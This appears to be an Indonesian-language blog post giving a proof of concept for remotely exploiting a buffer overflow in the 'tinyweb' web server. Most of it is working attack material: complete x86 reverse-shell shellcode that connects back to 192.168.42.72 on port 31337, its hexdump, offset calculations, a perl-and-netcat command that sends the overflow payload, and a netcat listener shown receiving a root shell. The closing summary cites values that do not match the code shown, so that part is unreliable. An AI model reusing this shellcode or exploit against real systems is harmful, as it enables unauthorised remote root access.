Proof of concept,remote exploitasi ...

Proof of concept,remote exploitasi tinyweb server


Pertama,kita akan melakukan teknik backconnect ke sebuah host
yang masih satu jaringan
tentunya kita tidak harus menunggu koneksi dari victim.

Back-connect shellcode

memulai koneksi TCP ke alamat IP victim,sehingga koneksi TCP di sini hanyalah sebuah function pemanggilan socket()
juga untuk pemanggilan fungsi yang sama untuk connect().

prinsipnya sama seperti tcp bind-port,karena pemanggilan socket sama persis untuk connect menggunakan \'call\' sebagai argumen().
nah,di sini kita sediakan source code assembly,yang akan di gunakan sebagai shellcode
dengan ekstensi \".s\" <-- tanpa tanda kutip.

; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall syscall (0x66).
pop eax
cdq ; kosongkan output edx untuk penggunaan sebagai null DWORD.
xor ebx, ebx ; tulis ebx sebagai socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; setelah syscall, eax pindahkan socket file descriptor.

xchg esi, eax ; simpan socket FD di esi untuk kondisi selanjutnya.

; connect(s, [2, 31337, ], 16)
push BYTE 0x66 ; pemanggilan socket (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x482aa8c0 ; Build sockaddr struct: IP address = 192.168.42.72
push WORD 0x697a ; (kondisi sedang reverse) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80 ; eax = connected socket FD

; dup2(connected socket, {all three standard I/O file descriptors})
xchg eax, ebx ; ganti socket FD di ebx dan 0x00000003 ke eax.
push BYTE 0x2 ; mulai ecx di baris ke 2
pop ecx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; balikkan nilai jadi 0 lagi
jns dup_loop ; jika flag blom di set, ecx berarti tidak memberi negasi

; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11.
push edx ; push string null untuk termination
push 0x68732f2f ; push \"//sh\" ke stack
push 0x6e69622f ; push \"/bin\" ke stack
mov ebx, esp ; pindah address \"/bin//sh\" ke ebx via esp.
push edx ; push 32-bit null terminator ke stack.
mov edx, esp ; kosongkan array buat envp.
push ebx ; push string addr ke stack dengan null terminator.
mov ecx, esp ; pindahkan argv array dengan string ptr.
int 0x80 ; execve(\"/bin//sh\", [\"/bin//sh\", NULL], [NULL])

Penggunaan shellcode dengan alamat ip 192.168.42.72 itulah yang menjadi alamat IP dari systemnya attacker.
struktur pengalamatannya ada di in_addr sebagai 0x482aa8c0, yang merupakan representasi
heksadesimal dari 72, 42, 168, dan 192.
jadi lebih jelasnya seperti ini :

cakill@creativauz:~/learn$ gdb -q
(gdb) p /x 192
$1 = 0xc0
(gdb) p /x 168
$2 = 0xa8
(gdb) p /x 42
$3 = 0x2a
(gdb) p /x 72
$4 = 0x48
(gdb) p /x 31337
$5 = 0x7a69
(gdb)q
cakill@creativauz:~/learn$



Karena nilai-nilainya disimpan dengan byte yang terstruktur di x86 dengan little-endian order,
ini berarti DWORD untuk 192.168.42.72 adalah 0x482aa8c0

Yang seperti ini pun juga berlaku buat dua-byte yang di gunakan sebagai port victim.
misal portnya di 31337 dicetak dalam heksadesimal menggunakan gdb, urutan byte ditampilkan dalam little-endian.
jadi nilai byte harus di balik,jadi yang aslinya 31337 berarti 0x697a.

Netcat

netcat juga dapat di gunakan untuk listen koneksi inbound dengan opsi l-
outputnya di gunakan untuk listen ke port 31337 yang tercantum di shellcode back-connect.
command atau perintah ifconfig buat memastikan IP dari eth0 yang alamatnya = >192.168.42.72 dari sinilah shellcode kita bisa di panggil lagi ke IP tersebut.

cakill@creativauz:~/learn$ sudo ifconfig eth0 192.168.42.72 up
cakill@creativauz:~/learn$ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:01:6C:EB:1D:50
inet addr:192.168.42.72 Bcast:192.168.42.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:16

cakill@creativauz:~/learn$ nc -v -l -p 31337
listening on [any] 31337 ...

\"\"

sekarang kita akan memanfaatkan kerentanan webserver tinyweb dengan backconnect shellcode tersebut,dengan cara running dulu service program webserver tersebut.

Sebagaimana kita ketahui jika request buffer itu sampai 500 byte panjangnya
dan ada di di 0xbffff5c0 di memori stack.
itu akan memberi kita clue bahwa address yang kita request tadi dapat di temukan di akhir buffer dengan nilai 40byte

cakill@creativauz:~/learn$ nasm cakill_sh.s.s
cakill@creativauz:~/learn$ hexdump -C cakill_sh.s
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|
00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|
00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|
0000004e
cakill@creativauz:~/learn$ wc -c cakill_sh.s
78 cakill_sh.s
cakill@creativauz:~/learn$ echo $(( 544 - (4*16) - 78 ))
402
cakill@creativauz:~/learn$ gdb -q --batch -ex \"p /x 0xbffff5c0 + 200\"
$1 = 0xbffff688
cakill@creativauz:~/learn$


Penjelasan :

Sisa byte di awal buffer exploit akan menjadi perhitungan di atas yang menunjukkan bahwa 402-byte
akan kita jadikan satu dengan shellcode senilai 78-byte tadi
yang kemudian akan menempatkan safe mode sebelum buffer dengan reply address
attacker yang di akhiri 4 byte buffer untuk eksploitasi attacker yang akan di olah di stack
dengan rewrite address,sayang attacker dengan register memory 0xbffff688
nilai ini akan di gunakan dalam mengeksploitasi berikutnya
shell pertama akan mengirimkan permintaan \'connect\' ke netcat yang selanjutnya digunakan untuk listen koneksi inbond pada port 31337.

cakill@creativauz:~/learn$ (perl -e \'print \"x90\"x402\';
> cat cakill_sh.s;
> perl -e \'print \"x88xf6xffxbf\"x20 . \"rn\"\') | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open

gotcha!!shellcode telah terhubung kembali ke proses netcat dengan listen ke port 31337 di sini akan memberi akses root kepada sang attacker

cakill@creativauz:~/learn$ nc -v -l -p 31337
listening on [any] 31337 ...
connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391
whoami
root



Overall :

setelah push nilai 0x01BBBB7f ke stack,register ESP segera menunjuk DWORD value
dengan writing sebuah string NULL yang bernilai 2byte di ESP +1

instruksi ini akan mentrigger shellcode size dengan beberapa byte sebelumnya,yang juga perlu disesuaikan untuk buffer exploit
perhitungan ini ditampilkan dalam output,di sini memunculkan nilai 397 byte
dengan eksploitasi menggunakan shellcode loopback yang asumsinya bahwa program tinyweb yang
berjalan dengan proses netcat yang listen di port 31337

sama halnya dengan penggunaan netcat untuk listen di port 31337
agar dapat take over root shell,yang saat victim sedang login sebagai root di shellnya.
0.00 / 0 votes

In order to comment, please sign in

Comments


Loading
User Menu
Tag Cloud